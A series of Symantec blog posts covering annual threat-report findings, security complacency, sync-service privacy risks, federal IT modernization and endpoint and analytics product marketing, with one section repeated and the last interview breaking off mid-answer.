Threats on the mobile threat landscape continued to grow in 2017. New mobile malware variants increased by 54 percent, and an average of 24,000 malicious mobile applications were blocked every single day. The threat from grayware increased in 2017 as well. Grayware encompasses apps that aren’t entirely malicious but can be troublesome, and this type of threat increased by 20 percent compared to 2016.
The challenge of ensuring mobile security is also exacerbated by the high percentage of devices, particularly Android devices, running outdated mobile operating systems. Only 20 percent of mobile devices are running the latest major release of Android, meaning 80 percent of devices are missing out on protections contained in that update.
Want to learn more?
This is just a taste of the main findings from ISTR 23. To find out more about these and other areas of the cyber security threat landscape, download ISTR 23 now.
You can also join Symantec threat experts in your region as they review the findings:
Register here for the Americas webinar
Register here for the EMEA webinar
Register here for the APJ webinar
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ISTR 24: Symantec’s Annual Threat Report Reveals More Ambitious and Destructive Attacks
ISTR Volume 24 is here, providing insights into global threat activity, cyber criminal trends, attacker motivations, and other happenings in the threat landscape in 2018.
Like flies to honey, miscreants are drawn to the latest cyber crime that promises quick bucks with minimal effort. Ransomware and cryptojacking have had their day in the sun with the get-rich-quick criminals, and now it’s formjacking’s turn. In this year’s Internet Security Threat Report (ISTR) Volume 24, we share the latest insights into global threat activity, cyber criminal trends, and attacker motivations.
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This year's report notably reveals formjacking—where infected web servers skim off consumers' payment information—has emerged as the breakthrough threat of 2018. This threat showed explosive growth—and potentially big profits—at the end of the year, ensuring that it's likely to draw plenty of flies in 2019 and beyond. Often using third-party apps to infiltrate websites, formjacking also further illustrates the dangers of supply chain attacks, a growing weakness we first warned of in last year's report. Requiring only a few simple lines of code loaded onto a website, formjacking represents a significant threat to online retailers, or anyone who collects personally identifiable information from their customers via their website.
This year's report notably reveals formjacking—where infected web servers skim off consumers’ payment information—has emerged as the breakthrough threat of 2018.
While no longer easy money, ransomware and cryptojacking have not gone away. The ISTR shows that with the decline in the value of cryptocurrencies, getting rich quickly through cryptojacking isn't as easy as before, and some attackers have moved on to more lucrative activities. But attacks are easy to instigate and manage, meaning those criminals playing the long game can still make money. Overall, Symantec blocked four times as many cryptojacking attacks last year than in 2017, and it continues to persist as an active threat so far this year.
Figure. Symantec blocked four times as many cryptojacking attacks in 2018 than in 2017
Ransomware still offers the opportunity to make large sums of money. The SamSam gang is estimated to have made $6 million from their ransomware attacks. In fact, ransomware actors are increasingly narrowing in on enterprises, a high-value target. Ransomware infections grew in enterprise environments by 12 percent, while consumer infections declined. Consumers likely benefited due to their growing use of mobile devices, as criminals favor Office email attachments and PowerShell scripts—which don't work as well on mobile devices—to carry out ransomware attacks.
Yet the threat landscape is not just about crime and the quest for cash. Nation-states quickly adopted the internet for espionage and have used it for destructive purposes. Late last year, Shamoon notably reemerged after a two-year absence, deploying wiping malware to delete files on computers of targeted organizations in the Middle East. Nearly one in ten targeted attack groups now use malware to destroy and disrupt business operations, a 25 percent increase from the previous year. They also continue to refine their attack techniques, favoring spear phishing over zero days and using living off the land techniques to maintain a low profile and hide their attacks in a sea of legitimate IT processes.
Nearly one in ten targeted attack groups now use malware to destroy and disrupt business operations, a 25 percent increase from the previous year.
In fact, Symantec's Targeted Attack Analytics (TAA) technology discovered an attack group called Gallmaker in 2018 that needed no malware at all to infiltrate its targets. As attackers continue to use our own tools against us, detection must evolve from identifying malware to determining intent. Solutions based on machine learning and advanced artificial intelligence, like TAA, are increasingly critical for detecting attacks.
It seems that no one would willingly carry on their person a device that would allow someone to spy on their every thought, conversation, and movement. But the headlines of today indicate that we do. That device is our smartphone, and it's not just spymasters seeking out information about us. Even legitimate applications are spying on us. To help understand the risks involved, Symantec analyzed the top 100 Android and iOS applications in 2018 and found nearly half of Android apps and one-quarter of iOS apps requested location tracking. Apps asked for phone numbers, email addresses, access to cameras, microphones, photos, and any personal data stored on the device. That these applications want information about us—far beyond the needs of the application itself—is clear. What to do about it is not as clear, but it starts with understanding the extent of the problem.
No blog can sufficiently cover the threat landscape, but the ISTR can. For much more on the threat landscape, to dive into the numbers behind the latest trends, or register for one of Symantec's ISTR webinars, visit go.symantec.com/istr.
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Is Your Firm Resting on its Security Laurels?
Despite greater awareness of the threat landscape, complacency remains a big problem in many organizations
Amid the alarming explosion of malware, ransomware, phishing schemes, and other serious cyber threats, one of the greatest dangers to enterprise IT security has nothing to do with the latest bad actor. Instead the unlikely culprit often turns out to be overconfidence.
Clearly, there’s more awareness of cyber security than ever. Worldwide spending on information security products and services is expected to hit $86.4 billion this year, a 7% spike over 2016, according to Gartner. But investments in new cyber tools and talent don’t always translate into reducing risk, especially when companies fail to diligently attend to the security basics.
Unfortunately, top executives aren’t necessarily getting that message.
A recent Deloitte study found that more than three-quarters (76%) of C-level executives surveyed expressed high confidence in their firms’ ability to respond to cyber incidents despite serious gaps in their security posture. They felt their firms were meeting the mark for security readiness despite the fact that the majority had yet to document and test security response plans with business users (82%). Fewer than half (46%) conducted war games or simulations on any kind of regular basis, and one in five lacked clarity on their firms’ cyber mandates, roles, and responsibilities, the research found.
In a separate report, the IBM Institute for Business Value Survey revealed a similar disconnect: Sixty-five percent of the C-level execs surveyed expressed confidence that their security plans were “well established.” But only 17% of that same group met the standards for the highest levels of preparedness and capability.
Security professionals say executives aren’t willfully ignoring cyber threats. In fact, Gartner attributed the increased spending on cyber security to the greater appreciation of the dangerous nature of the threat landscape. But here’s where organizations need to resist getting lulled into a false sense of security by incorrectly equating bigger investments in security technology and services with adequate coverage.
“Just like when companies hire a director of diversity or chief inclusion officer, they bring on security people and think we’re okay,” said Joseph Adu, director of technology for the Fay School, a school in Southborough, Massachusetts which serves 475 students from kindergarten through grade nine on its 66-acre campus.
Security professionals say executives aren’t willfully ignoring cyber threats.
Make it Plain
The situation is harder to address with C-level management, according to Adu, who said senior executives can’t always properly evaluate risk because they lack visibility into what’s happening in the trenches.
In his role as security lead, Adu is committed to changing that dynamic. Over the last year, he has stepped up the pace of internal communication. Adu now conducts regular check-ins with the school’s top management to keep the brass apprised of security threats along with updates on what his team is doing to address the risks.
“It’s my responsibility to keep a finger on the pulse of the security landscape in the world around us and within our organization, including bringing up concerns and talking about how we can address them,” he said.
Adu and other security professionals caution not to bury executives in the technicalities of IT security. Rather, they suggest that organizations seek to frame the discussion of the risks and solutions in a language that everyone in the organization can understand: the financial impact on the business.
At the same time, they underscore the need to communicate plainly the range of potential risks. Both senior executives as well as rank-and-file employees need to hear vivid examples of incidents that underscore the long-term impact of leaked data on an organization. What’s more, they stress the need for ongoing training that helps everyone understand that cyber security is a moving target, not a one-and-done exercise.
In practice, this requires both time and repetition.
Chiranjoy Das, CIO of Simple Tire, an online supplier of vehicle tires, runs everything from the cloud and so is highly dependent on the security capabilities offered by providers, such as Amazon AWS. But just because a big supplier is on the hook for protecting users from attack, Das isn’t taking chances.
His take is that sometimes overconfidence is more about being complacent and thinking you have the bases covered when you really don’t. That’s why Simple Tire runs regular validation testing to expose potential holes and follows AWS recommendations so security is built into their code.
Even so, he knows they aren't - and never will be - 100% covered. But Das is okay with that because he knows where the gaps are. That’s not being complacent and certainly not over confident. He calls it being pragmatic.
“We know our security capabilities,” said Das. “We’re in a fairly good place compared to many others.”
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Is Your Personal Data Leaking from Your “Digital Exhaust”?
Synchronization services provide convenience, but also risk
It’s easy to take for granted how convenient technology has become.
As we switch between devices, our calendars, emails, notes, photos and other information follow us – always keeping us up-to-date. Your messages follow you from your personal phone to your work computer and then back at the end of the day.
However, there can be a downside to all this convenience. The very reason your devices can do such things may put your personal data at risk in ways you may not realize.
Your Digital Exhaust
As you travel through the internet, you leave a data trail behind you – something known as “digital exhaust.”
Companies like Apple and Google have built services into their products that allow important pieces of data you may use multiple times a day to follow you from device to device. These synchronization services are built into the popular technologies Apple iCloud® and Google Chrome®. They’re the reason you can keep items such as your bookmarks or iMessages synchronized between all the devices you use them on.
The Cyber Security Services research team at Symantec, owner of Norton LifeLock, recently performed a deep analysis of these two services, and we found a few potential areas of concern. Before we go into the details, it’s important to note that synchronization services from Apple iCloud and Google Chrome operate effectively as designed. The security concerns we are highlighting come from the tradeoff we make by using these services for the convenience and efficiencies they provide to us.
Risks of Synchronization
How could these security concerns affect you?
Let’s say you are working on a new project at work. You store some notes about the project in your Notes app on your corporate Mac® computer, which is using your personal iCloud account. When you leave for the day, you shut off your computer.
What you don’t realize is you may have already put that highly confidential data at risk.
Because of the synchronization service, the data you stored in the Notes application on your work computer was also automatically stored in your home computer Notes application. In fact, the data was in your home before you were.
This poses potential risks. Since home networks generally have less security than company networks, cyber criminals may have an easier time accessing it. Inadvertently syncing the data onto your home computer may also violate your company’s policies.
The data replication goes the other way as well – from your personal device to your work computer. Imagine that you stored some personal medical information on your smartphone using your personal iCloud account. If you use the same account for your work computer, the information will be stored on your company network. That means your company might see some of your personal information that you prefer to keep private.
The security concerns from synchronization aren’t always insidious, though. Say you were doing research for a trip to the Bahamas to surprise your spouse for your anniversary. You carefully did this research at work during your lunch hour so there was no chance of your spouse getting wind of the trip. Or so you thought. However, if your family has a shared device, like an iPad, your spouse could come across notes you took at work that were replicated onto your home device.
Since home networks generally have less security than company networks, cyber criminals may have an easier time accessing it.
How to Reduce Your Risk
The point isn’t to stop using synchronization services, since they do make our lives easier. However, you should realize the risk they carry, so you can use the services in a way that allows you to protect your most sensitive data while getting the maximum benefit of these convenience services. Consider the following ways to keep your data more secure:
Keep Info Separate. Do not use your personal Google (Gmail) or iCloud accounts on your work computer and vice versa.
Don’t Be a Borrower. Use your account only on machines and networks you trust; don’t use them on borrowed devices that you cannot factory reset after use.
Should You Fill Up? Turn off the feature in Chrome or Safari that automatically fills forms.
Turn On or Turn Off. Switch off synchronization capabilities on devices that you do not wish to store data on or share data from.
We live in a fast-paced world, and we’ve become used to the idea of being able to access any information we want at any time from any device. It’s important to understand the security risk that comes with this modern level of convenience.
You’ll never be able to eliminate your entire digital exhaust. However, you can keep some of your most sensitive information from spewing out of the tailpipe.
To learn more, download the report here: Privacy in a Synchronized World
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IT Modernization and the New Perimeter
Agencies need to rethink the security model that has dominated for decades
Cyber security is never considered easy, and it’s made more difficult when your security solutions don’t match your network architecture. The federal security solutions in use today were built during a time when a hardened perimeter delineated a “trusted” network boundary. The approach was simple: Protect that boundary and everything that existed inside of it remained secure.
With federal employees tied to desktop computers and remote work not yet an accepted practice, information security professionals could dedicate their resources to keep this well-defined network as protected as possible. That, though, is no longer the case.
The Changing Perimeter
Current security strategies, such as the Trusted Internet Connection (TIC), EINSTEIN and others, were built with perimeter defense in mind. But, given the push for a more mobile workforce and the advancement of Bring Your Own Device (BYOD) policies, today’s IT environments have evolved to include cloud computing services, including IaaS, PaaS and SaaS.
As federal employees access cloud computing services outside the traditional perimeter – whether it be through a remote work station at their home, at a remote branch office, or on a mobile device out in the field – the boundaries of yesterday no longer apply. The boundaries of today are simply where the data exists, whether that’s on-premise or in the cloud.
As agencies start to implement the recommendations included in the recently released IT Modernization Report, that boundary will be pushed even further out, as the report directs agencies to modernize the legacy systems that run government today. In doing so, agencies will need to adopt new technologies and cloud capabilities that TIC and other architectures are too outdated to support.
As such, federal agencies will need to alter how they think about, and approach, their security strategies. They must transition to a defense-in-depth approach that focuses on securing the data – as opposed to solely focusing on the physical perimeter – at every stage of its lifecycle.
A New Structure
Under this new modernized, cloud-centric architecture, critical data will be housed in multiple areas – within an agency’s own environment as well as a cloud service provider’s (CSP) FedRAMP-authorized data center. But even with the FedRAMP authorization, not all risk will be transferred to the CSP.
The shared responsibility model requires agencies to manage FISMA controls associated with data in the CSP platform, requiring constant configuration management to mitigate technical and human factors.
Agencies must modernize their security architectures to support a hybrid approach, one that improves security for legacy on-premise systems while enabling adoption of cloud and mobile platforms. One that adds redundancy without introducing further risk, complexity and cost.
Protecting the Data
To do this, agencies need to figure out how to implement solutions that can get down to the data itself and apply protections no matter where it resides. By taking a data loss prevention (DLP) approach, agencies receive discovery, monitoring and protection capabilities, enabling total visibility and control over their data whether on-premises or in the cloud.
This approach will also eliminate blind spots, support compliance efforts to defend intellectual property, control endpoints and safeguard data through encryption and policy enforcement. Additionally, as agencies continue to move critical data between on-premise and cloud environments, this approach will allow them to effectively manage access of that data, including establishing multi-factor authentication, enforcing uniform policies and better managing shadow IT to deter unsanctioned usage.
Finally, configuration management for cloud applications and associated data must be constantly evaluated relative to “actual-state,” using tools which can identify improper configuration and usage. This allows security leaders to provide automated remediation in real-time for unusual and illicit data use.
Conclusion
IT modernization is bringing government forward. A push to deploy new technologies will result in increased efficiencies and operability, but requires a complete change in thinking about security. The perimeter-only model worked in its time, but as federal agencies modernize outdated systems it must modernize its security approach as well. As the perimeter disappears, we can only hope that the old way of approaching security follows. Agencies need to focus on the data, whether that be on-premises, at the endpoint, in the cloud or anywhere in between. This is the new security model.
For additional information on how to better protect down to the data itself, click here. And please check back for our next blog in the modernization series, as we look at what the federal IT Modernization Report really means for cyber security.
If you found this information useful, you may also enjoy:
WEBINAR: Making Sense of Federal IT Modernization
DATA SHEET: Drive Total Protection of Your Sensitive Data
Report to the President on IT Modernization
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IT Modernization is Finally Coming to Federal Agencies
The challenge, though, will be to step out of the traditional security approach that has driven the federal government for decades
The Department of Homeland Security describes Phase 4 of its Continuous Diagnostics and Mitigation (CDM) program in just 36 words. But even that may be too long.
Phase 4 is about data protection. How agencies go about it comes down to them.
As we discussed in our recent blog focused on CDM Phase 3, these final two phases of the program bear little resemblance to the first two. Phase 1 (what is on the network) and Phase 2 (who is on the network) set baselines with the goal of slightly improving federal security across the board.
Both Phase 3 and Phase 4, though, provide agencies the ability to be creative and to implement innovative solutions that make a real impact. While addressing Phase 4 may ultimately still be a while away for most federal agencies, now is the time to start planning, especially since the requirements dovetail nicely with the White House’s current IT modernization effort.
CDM and Modernization
The Modernizing Government Technology (MGT) Act will provide federal agencies with $500 million over the next two years to update legacy systems. The act, alongside the American Technology Council’s “Report to the President on Federal IT Modernization” calls on agencies to use new technologies, such as cloud computing, to replace older systems that impose an increased security risk.
The recommendations also place a focus on agencies to modernize the Trusted Internet Connections (TIC) initiative and National Cyber Security Protection System (NCPS) program to better enable cloud migration. This is important because current security architectures, such as TIC gateways, EINSTEIN and others, were designed at a time when the government’s approach to security was a hardened perimeter that delineated a “trusted” network boundary. As today’s IT environment evolves toward the use of cloud services, including Infrastructure as a Service (IaaS), Platform as a Service (PaaS) and Software as a Service (SaaS), the hardened perimeter approach no longer applies.
Cloud technology can provide agencies with enhanced capabilities at a lower cost and, if done properly, can be secured more effectively. The challenge for agencies, though, will be to step out of the traditional security approach that has driven the federal government for decades. Traditionally, federal agencies could focus security defenses on the network perimeter itself, but cloud computing eliminates the network boundary, requiring agencies to focus security efforts on the data.
Updating the TIC
The TIC was created to “optimize and standardize the security of individual external network connections currently in use by the Federal Government, to include connections to the Internet.” The policy has been updated over time to address additional connectivity considerations, but with this new boundary – as noted above – the current version is no longer sufficient, which is why the IT Modernization Report is calling for an update.
Improving the current level of inspection provided by TIC, while adding the capability to gain complete visibility and control at the data layer, should be the main focus for government agencies – enabling them to meet both Phase 4 requirements and adhering to established modernization goals.
Cloud technology can provide agencies with enhanced capabilities at a lower cost and, if done properly, can be secured more effectively.
How to Protect Data
By protecting the data – opposed to a set network – agencies can ensure that data remains secure no matter when or where it is being used. To protect data, agencies need to look at implementing enterprise-wide security solutions that can follow the data from on-premise infrastructure to the cloud and beyond. Modern capabilities open up the visibility of the data to understand the users accessing the data, knowing what that data is (classification or sensitivity) and where the data is.
This modern approach must accommodate web applications and messaging security, as well as address any “other” protocols while providing government-wide situational awareness and understanding. It must also incorporate legacy applications to consolidate attributes for intelligence government-wide.
Seize the Opportunity
Today’s federal agency resembles other modern work environments – employees are no longer tied to a single workstation. CDM Phase 4, and the larger IT modernization effort, has these same goals in mind. To take advantage of these two programs, agencies need modern technologies that can keep data secure no matter where it lives. The convergence of CDM and modernization provides a real opportunity for federal agencies to go beyond baselines, using the process to make strong improvements to cyber security that will have a major impact now and into the future.
If you found this information useful, you may also enjoy these other blog posts:
Continuous Diagnostics and Mitigation
New DHS Program Presents Security Opportunity for Fed Tech Leaders
Cyber Security Now a Priority in Fed Government’s Modernization Initiative
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It’s a Sweep: Symantec Endpoint Protection 14 Leads in Latest Analyst Ratings
Gartner, AV-TEST, NSS Labs, IDC, Forrester and Radicati give Symantec high marks.
It's been four months since we launched Symantec Endpoint Protection 14, and the positive reviews are rolling in – from customers, partners, analyst firms and testing labs.
As our CEO Greg Clark shared in our earnings call, SEP 14 is "off to a strong start" and we're seeing an "acceleration of new wins and pipeline" as customers and partners embrace our unified approach to endpoint security. No longer do you need a series of specialized agents doing piecemeal work to protect users against advanced threats at the endpoint. With SEP 14, we can deliver prevention, detection and response within a single lightweight agent – working across multiple devices and operating systems.
We'll share more about customer and partner progress in future posts. In the meantime, we want to share some exciting validation from the latest analyst reports and lab benchmarks:
Gartner rated us in the Leaders quadrant for Endpoint Protection Platforms – the 15th consecutive time we've made their endpoint Leaders quadrant.
AV-Test awarded us "Best Protection" for endpoints – making us the first company to win the award in both business and consumer categories two years in a row.
NSS Labs rated us as "Recommended" for Advanced Endpoint Protection, with strong ratings for security effectiveness and total cost of ownership.
IDC ranked us as the global market share leader for endpoint security, with 18.2% share of the corporate market and 27.6% of the combined corporate and consumer market (more than the next two players combined).
Forrester rated us as one of the top three Endpoint Security Suites in their Q4 2016 "Wave" report.
Radicati awarded us the highest ranking in its "Top Players" category for Endpoint Security.
All this feedback is particularly gratifying, since we invested in significant innovations to protect against evolving threats, all while improving product performance and enhancing orchestration with other protection technologies (including ATP: Endpoint and Secure Web Gateway). Here's some more detail on the analyst commentary and testing benchmarks:
Gartner: Magic Quadrant for Endpoint Protection Platforms (Jan '17)
Gartner puts us in the Leaders quadrant, both for "ability to execute" and "completeness of vision." Gartner notes that the endpoint market "is heating up again," and "given the rapid pace of innovation, EPP administrators should upgrade to latest version as soon as practical." They recommend doing a "configuration policy checkup" with existing vendors to ensure effective protection, while embracing important new features: "EPP buyers should look for vendors that focus on memory exploit protection, script analysis and behavior indicators of compromise. Ultimately, we believe that vendors that focus on detecting behavior indicative of attacker tradecraft (that is, tools, tactics and techniques) will be the most effective." They also note that EPP vendors are adding EDR capabilities: "Integrated EDR functions can provide an early warning that threats have bypassed malware detection, as well as an invaluable tool for investigating alerts and recovering."
AV-TEST Award Best Protection 2016 (Feb '17)
AV-TEST awarded Symantec "Best Protection" for 2016, making it the only vendor ever to win Best Protection for both corporate and consumer users for two consecutive years. AV-TEST concludes: "With virtually 100% malware detection in all six certification tests throughout the year, Symantec's Endpoint Protection demonstrates strong protection for corporate users above the industry average." (Readers should note that AV-TEST conducts both open and commissioned tests, so make sure you read the fine print on vendor claims. Symantec participates in the open tests that are completely controlled by AV-TEST, with no vendor influence on test methodology. We consistently outperform competitors in those real-world tests, which simulate what end users do and the attacks they normally face.)
NSS Labs Advanced Endpoint Protection Test (Feb '17)
NSS Labs gave us its "Recommended" rating in the labs' first-ever Advanced Endpoint Protection benchmark, with a 98.7 percent security effectiveness score. The new test is designed to determine the efficacy of advanced endpoint security, well beyond traditional anti-virus and firewall capabilities. This test evaluated our SEP 14 product together with ATP: Endpoint (for endpoint detection and response). Unlike many vendors, our products detected 100% of evasion techniques which is an important evaluation criterion. While some NSS results have been debated by other vendors, and we may have our own quibbles, we believe it's an important testing initiative that reflects the evolution of the market for holistic prevention, detection and response.
IDC: Worldwide Endpoint Security Market Shares, 2015 (Nov '16)
IDC's analysis showed Symantec leading the market with 27.6% share of an $8.5 billion endpoint security market, as of 2015. Symantec led both the corporate endpoint security market (18.2% share of $4.2 billion) and consumer endpoint security market (37.8% share of $4.3 billion). Symantec also held #1 or #2 market share in four of five subcategories of corporate endpoint security, including access and information protection (#1 with 23.0%), antimalware (#1 with 21.6%), server security (#2 with 26.3%), and security suite vendors (#2 with 17.8%). IDC also noted that the Blue Coat acquisition "could enable stronger Symantec endpoint protection ties between Blue Coat's cloud and web security gateways and its network packet recording and security analytics platform."
The Forrester Wave™: Endpoint Security Suites, Q4 2016 (Oct '16)
Forrester ranks Symantec as one of the top three vendors, concluding: "Symantec offers the most complete endpoint security suite on the market. Symantec's deep bench of endpoint security technologies spans a range of prevention, detection, and remediation capabilities. Almost every possible attack surface is covered when buyers utilize the full extent of this portfolio." Forrester sees additional strengths as Symantec continues to develop "advanced post-compromise detection techniques," and extends integration of endpoint protection with other Symantec and Blue Coat products.
Radicati Group: Endpoint Security – Market Quadrant 2016 (Nov '16)
Radicati places us at the top of its "Top Players" category, highlighting our approach to "multi-layered protection powered by artificial intelligence and advanced machine learning." The report calls out SEP 14's "many features" for both physical and virtual machines, and notes that the "level of granularity and flexibility in the management console is higher than many other solutions in the market." Radicati also notes our competitive pricing "given the rich functionality of Symantec's endpoint security platform."
It's been four months since we launched Symantec Endpoint Protection 14, and the positive reviews are rolling in – from customers, partners, analyst firms and testing labs.
As our CEO Greg Clark shared in our earnings call, SEP 14 is "off to a strong start" and we're seeing an "acceleration of new wins and pipeline" as customers and partners embrace our unified approach to endpoint security. No longer do you need a series of specialized agents doing piecemeal work to protect users against advanced threats at the endpoint. With SEP 14, we can deliver prevention, detection and response within a single lightweight agent – working across multiple devices and operating systems.
We'll share more about customer and partner progress in future posts. In the meantime, we want to share some exciting validation from the latest analyst reports and lab benchmarks:
Gartner rated us in the Leaders quadrant for Endpoint Protection Platforms – the 15th consecutive time we've made their endpoint Leaders quadrant.
AV-Test awarded us "Best Protection" for endpoints – making us the first company to win the award in both business and consumer categories two years in a row.
NSS Labs rated us as "Recommended" for Advanced Endpoint Protection, with strong ratings for security effectiveness and total cost of ownership.
IDC ranked us as the global market share leader for endpoint security, with 18.2% share of the corporate market and 27.6% of the combined corporate and consumer market (more than the next two players combined).
Forrester rated us as one of the top three Endpoint Security Suites in their Q4 2016 "Wave" report.
Radicati awarded us the highest ranking in its "Top Players" category for Endpoint Security.
All this feedback is particularly gratifying, since we invested in significant innovations to protect against evolving threats, all while improving product performance and enhancing orchestration with other protection technologies (including ATP: Endpoint and Secure Web Gateway). Here's some more detail on the analyst commentary and testing benchmarks:
Gartner: Magic Quadrant for Endpoint Protection Platforms (Jan '17)
Gartner puts us in the Leaders quadrant, both for "ability to execute" and "completeness of vision." Gartner notes that the endpoint market "is heating up again," and "given the rapid pace of innovation, EPP administrators should upgrade to latest version as soon as practical." They recommend doing a "configuration policy checkup" with existing vendors to ensure effective protection, while embracing important new features: "EPP buyers should look for vendors that focus on memory exploit protection, script analysis and behavior indicators of compromise. Ultimately, we believe that vendors that focus on detecting behavior indicative of attacker tradecraft (that is, tools, tactics and techniques) will be the most effective." They also note that EPP vendors are adding EDR capabilities: "Integrated EDR functions can provide an early warning that threats have bypassed malware detection, as well as an invaluable tool for investigating alerts and recovering."
AV-TEST Award Best Protection 2016 (Feb '17)
AV-TEST awarded Symantec "Best Protection" for 2016, making it the only vendor ever to win Best Protection for both corporate and consumer users for two consecutive years. AV-TEST concludes: "With virtually 100% malware detection in all six certification tests throughout the year, Symantec's Endpoint Protection demonstrates strong protection for corporate users above the industry average." (Readers should note that AV-TEST conducts both open and commissioned tests, so make sure you read the fine print on vendor claims. Symantec participates in the open tests that are completely controlled by AV-TEST, with no vendor influence on test methodology. We consistently outperform competitors in those real-world tests, which simulate what end users do and the attacks they normally face.)
NSS Labs Advanced Endpoint Protection Test (Feb '17)
NSS Labs gave us its "Recommended" rating in the labs' first-ever Advanced Endpoint Protection benchmark, with a 98.7 percent security effectiveness score. The new test is designed to determine the efficacy of advanced endpoint security, well beyond traditional anti-virus and firewall capabilities. This test evaluated our SEP 14 product together with ATP: Endpoint (for endpoint detection and response). Unlike many vendors, our products detected 100% of evasion techniques which is an important evaluation criterion. While some NSS results have been debated by other vendors, and we may have our own quibbles, we believe it's an important testing initiative that reflects the evolution of the market for holistic prevention, detection and response.
IDC: Worldwide Endpoint Security Market Shares, 2015 (Nov '16)
IDC's analysis showed Symantec leading the market with 27.6% share of an $8.5 billion endpoint security market, as of 2015. Symantec led both the corporate endpoint security market (18.2% share of $4.2 billion) and consumer endpoint security market (37.8% share of $4.3 billion). Symantec also held #1 or #2 market share in four of five subcategories of corporate endpoint security, including access and information protection (#1 with 23.0%), antimalware (#1 with 21.6%), server security (#2 with 26.3%), and security suite vendors (#2 with 17.8%). IDC also noted that the Blue Coat acquisition "could enable stronger Symantec endpoint protection ties between Blue Coat's cloud and web security gateways and its network packet recording and security analytics platform."
The Forrester Wave™: Endpoint Security Suites, Q4 2016 (Oct '16)
Forrester ranks Symantec as one of the top three vendors, concluding: "Symantec offers the most complete endpoint security suite on the market. Symantec's deep bench of endpoint security technologies spans a range of prevention, detection, and remediation capabilities. Almost every possible attack surface is covered when buyers utilize the full extent of this portfolio." Forrester sees additional strengths as Symantec continues to develop "advanced post-compromise detection techniques," and extends integration of endpoint protection with other Symantec and Blue Coat products.
Radicati Group: Endpoint Security – Market Quadrant 2016 (Nov '16)
Radicati places us at the top of its "Top Players" category, highlighting our approach to "multi-layered protection powered by artificial intelligence and advanced machine learning." The report calls out SEP 14's "many features" for both physical and virtual machines, and notes that the "level of granularity and flexibility in the management console is higher than many other solutions in the market." Radicati also notes our competitive pricing "given the rich functionality of Symantec's endpoint security platform."
Not Resting on Our Laurels
Endpoints have become the battleground for protecting users against advanced threats. We take that responsibility seriously, and we are committed to staying at the forefront of both innovation and integration on the endpoint. We have a long track record – including 15 years as a Leader in Gartner's Magic Quadrant – and don't plan to sit still or play it safe. Together with your input, we can make endpoint security a cornerstone of integrated cyber defense, protecting users and their data and messages wherever they roam.
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For more information, download and read the Gartner Magic Quadrant for Endpoint Protection Platforms and the Forrester Wave on Endpoint Security Suites.
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It’s Now Easier to Acquire and Deploy Symantec’s Security Analytics
Having full visibility is essential for threat hunters and incident responders
In my role at Symantec, a division of Broadcom (NASDAQ: AVGO), I have the privilege of working across the broad Symantec product portfolio. But I can honestly say that one of my favourites is Security Analytics.
One of the lessons I’ve learned after many years in this industry is with enough time and desire, it’s inevitable that cyber-attackers will find a way around all defences. When novel attacks against organizations with high-value digital assets are successful, it’s essential that those organizations be able to understand the scope of the attack, what specific information (if any) was lost, and how the attack took place—so future attacks can be prevented. A forensic record of network activities and tools for analyzing that vast quantity of data are necessary tools to accomplish that mission.
When novel attacks against organizations with high-value digital assets are successful, it’s essential that those organizations be able to understand the scope of the attack, what specific information (if any) was lost, and how the attack took place—so future attacks can be prevented.
As my friend Bryan Cardoza told us earlier this year, Symantec Security Analytics is a leading solution for assessing the impact of cyber attacks. Security Analytics can capture, analyze, and selectively retain all of the network traffic entering or leaving your network—both on-premise networks and cloud-hosted workloads. But it also provides the analytics and data analysis tools that SoC staff, threat hunters and incident responders need to identify and respond to novel attacks. I recommend reading Bryan’s blog post for a few product highlights.
I recently had a chance to chat with Bryan, who leads R&D and product management for Security Analytics, about the recently-delivered improvements to Security Analytics hardware and licensing.
* * *
Symantec™ Security Analytics
Karl Vogel: Recently, Symantec introduced a new hardware platform for our industry-leading Secure Web Gateway solution. I understand Security Analytics also introduced new hardware. Is it using the same platform?
Bryan Cardoza: The Secure Web Gateway’s new S410 platform is really exciting and we looked at it very closely for Security Analytics. It had the exact capabilities we were looking for. In the end, however, Security Analytics users have slightly different requirements, and that led us in a different direction.
KV: What sort of requirements?
BC: The short answer is lights-out management. Most Security Analytics systems have a lot of spinning disks in or attached to them in order to maintain a forensic record of network traffic. And one of the realities of a lot of spinning disks is that over time, some of them will fail. We do have several layers of resilience built into Security Analytics systems, but keeping those systems running with a full safety net in place means that system operators need to be able to get in and perform maintenance. Often, those systems are at remote locations, and the on-site staff don’t have the necessary clearance or expertise to do much more than physical drive swaps. That’s why remote, lights-out management capabilities are so important. The new Security Analytics hardware will give system operators the ability to have a remote virtual console, remote media mounting, and hardware telemetry to keep the systems running their best.
KV: Brilliant. Is there more we can expect beyond lights-out management?
BC: I think the first thing people will notice is the increased density compared to our current offering. Given the same capture rate, analysis, and retention requirements, deployments based on physical appliances will typically take about one half the rack units. But the other thing customers will notice is a lower initial price point; our new enterprise licensing for Security Analytics will lower the first-year cost by about 40%—and the longer the retention period, the better the first-year savings.
KV: Up-front costs are important to my customers, so I’m glad to hear that. I’ve got some questions about enterprise licensing, but first tell me how you’re delivering the higher density.
BC: As we put together our new hardware offering, we wanted to address lights-out management, take advantage of the latest chipsets, and simplify deployment. A key part of simplifying deployment was to address how we connect storage to our physical appliances. In the past, we either had JBOD storage attached to RAID cards with battery backup modules, or we had storage arrays with on-board RAID functionality attached via Fibre Channel, which often required a switch. We picked the best parts of each storage solution, and are moving to RAID storage arrays connected via SAS3. This gives us better performance in a smaller package with much simpler cabling. That, coupled with higher drive densities, yields the higher density. We have two storage modules for Security Analytics - a 2U model with 144TB of raw storage and a 5U model with 840TB of raw storage. Customers can expect roughly 700TB of usable capture storage from this higher model. More than twice the storage in half the size.
KV: Simpler deployment; I like that. Now, [back to] enterprise licensing. That’s another new offering with the secure web gateway. Will Security Analytics be the same?
BC: The metrics used for Security Analytics are a little different, but it’s a similar concept. With Security Analytics, our subscriptions will be based on the average amount of network traffic analysed per day, measured in 10 terabyte increments, and averaged over a ten day period. We’re focusing on the actual workload over time, not peak capacities.
As we put together our new hardware offering, we wanted to address lights-out management, take advantage of the latest chipsets, and simplify deployment.
KV: What about storage? It seems like in the past, Security Analytics licensing was very focused on storage.
BC: That’s true. The prior Security Analytics appliances included a per-instance license as well as bundled storage expansion licenses. Those server instance and storage licenses could also be purchased separately for virtual deployments on premises or in the cloud. That could be very costly for customers with longer data retention requirements, and it’s not representative of the value of Security Analytics. The value of Security Analytics is manifest in the amount of data analysed, so we made the licensing model match that.
KV: Aside from a potential cost savings, are there other benefits to enterprise licensing?
BC: There are quite a few additional benefits. It might be easier for me to list them out:
